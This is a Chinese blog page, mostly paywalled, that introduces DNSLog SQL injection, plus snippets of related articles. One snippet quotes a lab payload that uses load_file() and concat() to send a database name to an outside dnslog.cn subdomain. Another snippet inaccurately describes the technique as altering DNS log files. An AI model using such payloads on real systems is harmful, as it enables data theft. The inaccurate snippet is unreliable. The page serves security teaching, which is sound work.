DNS_LOG注入

DNS_LOG注入原理与应用
最新推荐文章于 2025-03-13 19:20:19 发布
原创 最新推荐文章于 2025-03-13 19:20:19 发布 · 1.7k 阅读 · 17 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#数据库 #安全 #mysql

DNS_LOG注入是一种将数据库盲注变为显错注入的技术，通过DNS解析配合日志记录获取数据。关键函数包括load_file()用于读取文件，concat()用于字符串拼接。利用该技术，可以读取数据库信息，例如database()的长度或特定表中的数据。渗透测试中，DNSLOG注入涉及显错注入和盲注场景，攻击流程通常包括四个步骤。

目录

DNS

    DNS协议

    IP

    域名

DNS_LOG注入

    特点

    使用场景

    DNS_LOG注入关键函数

    读的语法

    一份渗透测试报告

DNS

DNS协议：作用是将域名 -->  IP 

IP：电脑在网络的位置。

223.73.115.237

域名：IP的外号。

www.chenchan.com

打开host文件.

ip后增加域名.

打开浏览器后访问，访问成功.

原理：我们输入完http://www.chenchan.com/这个域名之后，咱们电脑会先访问host文件，就会将www.chenchan.com --> 192.168.189.128，然后访问这个IP。

http://dnslog.cn/ ，一个DNS解析记录的日志网站。

最低0.47元/天 解锁文章
【渗透测试】DNSLog注入
ssrf
10-25 4184
目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加 例如：第一章 Python 机器学习入门之pandas的使用 提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录目录前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。 提示：以下是本篇文章正文内容，下面案例可供参考 一、p
【新手入门】SQL注入之DNSlog注入
2401_89344791的博客
02-28 548
注入，无回显，采用DNSlog注入手段通过注入一个A网站网址让目标主机触发网址的访问，将敏感信息携带到请求数据中，A网站记录下本次请求，在日志中就能看到目标主机的敏感数据了。
利用 DNSLog无回显注入
故事讲予风听
07-18 968
基本上，DNSLog服务提供了一个自定义的DNS服务器，将请求保存在日志中，并为每个请求生成一个唯一的域名。无回显注入是指在注入点无法直接获取响应的情况下，通过DNSLog获取注入结果的一种注入方式。无回显注入的原理是将注入结果作为DNS请求的一部分，通过DNSLog获取DNS请求的响应，从而获取注入结果。构造注入payload：根据目标应用程序的注入点，构造用于触发DNS请求的注入payload。通常，注入点位于应用程序的输入字段中。触发注入：向应用程序提交经过注入负载处理的请求，以触发注入攻击。
DNSLOG 注入
qq_33441500的博客
10-21 818
DNSLOG 注入 在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候就可以通过DNSlog把想获...
DNSLog注入
errorr0
06-27 1325
DNSLog注入漏洞
封神台sql靶场 dns_log 注入
weixin_46578840的博客
06-25 328
前提:目标数据库允许load_file() 1 and 1=1 //正常 1 and 1=2 //页面错误，存在注入 1 and 1=2 union select 1,2 # //回显位为2，由于题目要求用dnslog，那就用联合查询了 构造poyload 1 and (select load_file('//',(concat(select database()),'.xizusd.dnslog.cn/abc'))) 1+and+(select+load_file(concat('//',(select+
DNS-log注入（zkaq靶场）
v2ish1yan的博客
04-21 1448
DNS-log注入
掌控者靶场DNS-Log注入过程
zhaoxz1985的博客
07-15 1073
这里写自定义目录标题掌控者靶场DNS-Log注入过程0x01 前言0x02 利用思路0x03 靶场实战第一步：探测数据库名第二步：探测数据表名第三步：探测数据表对应的列名第四步：瞎逼懵0x04 写在最后 掌控者靶场DNS-Log注入过程 以下过程是在听取了线上课程后，结合自身经验，完成的靶场练习，若过程中有错误，还请大佬指正。 0x01 前言 DNS-Log，DNS是域名解析系统，说直白点就是机器名和IP地址转换。 DNS-Log，增加了一个log，也就是增加了一个日志记录，只不过记录的DNS的域名解析
[zkaq靶场]SQL注入--DNS-LOG注入
wwxxee
05-08 336
DNS注入 介绍 在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起请求，这个时候就可以通过DNS请求把想获得的数据外带出来。 对于sql盲注，常见的方法就是二分法去一个个猜，但是这样的方法麻烦不说，还很容易因为数据请求频繁导致被ban。 所以可以将select到的数据发送给一个url，利用dns解析产生的记录日志来查看数据。 原理 通过子查询，将内容拼接到域名内，让load_file()去访问共享文件，访问的域名被记录 此时变为显错注入,将盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接
Injection Attacks-Log 注入
weixin_34272308的博客
03-11 442
日志注入（也称日志文件注入） 很多应用都维护着一系列面向授权用户、通过 HTML 界面展示的日志，因而成为了攻击者的首要目标，这些攻击者试图伪装其他攻击、误导日志读者，甚至对阅读和分析日志监测应用的用户安装后续攻击程序。 日志的脆弱性取决于对日志编写过程的控制，以及是否确保对日志条目进行任何监控或分析时，日志数据被看作非置信数据源。 简单的日志系统可能...
代码安全系列(1) - Log的注入
weixin_33868027的博客
12-15 355
简介 我们编写了大量的程序，但程序总是出现莫名其妙的异常，因此我们使用日志模块，详细记录程序执行的步骤，以求追踪和定位问题。也许这是大多数程序员对日志的理解，跟踪和调试程序成了日志的主要职责。其实，日志的作用远非如此，当某天突然发现我们的系统被人非法入侵，删除了大量用户资料时，我们记录的日志成了最好的追踪骇客的工具。假如，我们的日志被骇客无情的篡改，后果将不堪设想。因此，日志模块虽小，安全性却尤...
DNSlog注入（利用DNSlog平台将SQL盲注变成回显注入）
柠檬i的博客
08-07 1858
DNSlog注入是一种利用DNS服务器记录域名解析请求的特性，来获取SQL注入结果的技术。它的原理是通过构造一个包含数据库信息的子域名，然后使用MySQL的load_file函数或其他方法，让目标服务器向DNS服务器发起解析请求，从而在DNS服务器上留下注入结果的痕迹。
DNS_log注入
Y22Lee的博客
03-28 287
a.概述DNS（Domain Name System，域名系统），因特网上作为域名和IP地址互相映射的一个分布式数据库，能够使用户更方便的访问互联网，而不用去记住能够被机器直接读取的IP数串。通过主机名，最终得到该主机对应的IP地址的过程叫做域名解析（或主机名解析）。DNS协议运行在UDP协议之上，使用端口号53。
SQL注入之DNS_log注入
weixin_47785246的博客
07-11 984
SQL注入之DNS_log注入 这篇文章将系统的讲解，SQL注入中的DNS_log注入的原理、方法、以及靶场练习writeup。 文章目录SQL注入之DNS_log注入前言一、DNS_log注入原理二、靶场实战1.DNSlog 平台2.封神台靶场总结 前言 关于SQL注入的详细内容请看我之前写的文章 提示：以下是本篇文章正文内容，下面案例可供参考 一、DNS_log注入原理 我们都知道，DNS解析是一种用户访问域名时，客户端向DNS发起DNS查询的到目标服务器ip地址，进而实现通信的机制，而
SQL注入（7）之DNSLOG注入
最新发布
十步不敢沙人的博客
03-13 1271
DNSLog注入如何实现无回显数据窃取？解析盲注与外带数据结合攻击链路，拆解DNS请求窃密步骤及防御策略，强化隐蔽漏洞检测能力！
小白的CTF之路之DNSlog注入
glass_york的博客
01-07 1393
dnslog注入，sqlilabs第九关
DNSLog注入笔记
weixin_30781433的博客
09-12 906
测试一些网站的时候，一些注入都是无回显的，我们可以写脚本来进行盲注，但有些网站会ban掉我们的ip，这样我们可以通过设置ip代理池解决， 但是盲注往往效率很低，所以产生了DNSlog注入。具体原理如下。 首先需要有一个可以配置的域名，比如：ceye.io，然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A，然后再服务器 A 上配置好 DNS Server，这样...
dnslog外带注入用什么函数
10-26
DNSLog外带注入通常是指通过修改DNS查询日志文件（如在Linux系统中的/var/log/dns.log）来实施恶意攻击的一种技术。这种注入攻击通常涉及对DNS查询数据包添加额外的信息，目的是绕过防火墙规则或是进行更进一步的...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

风过留不留声

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值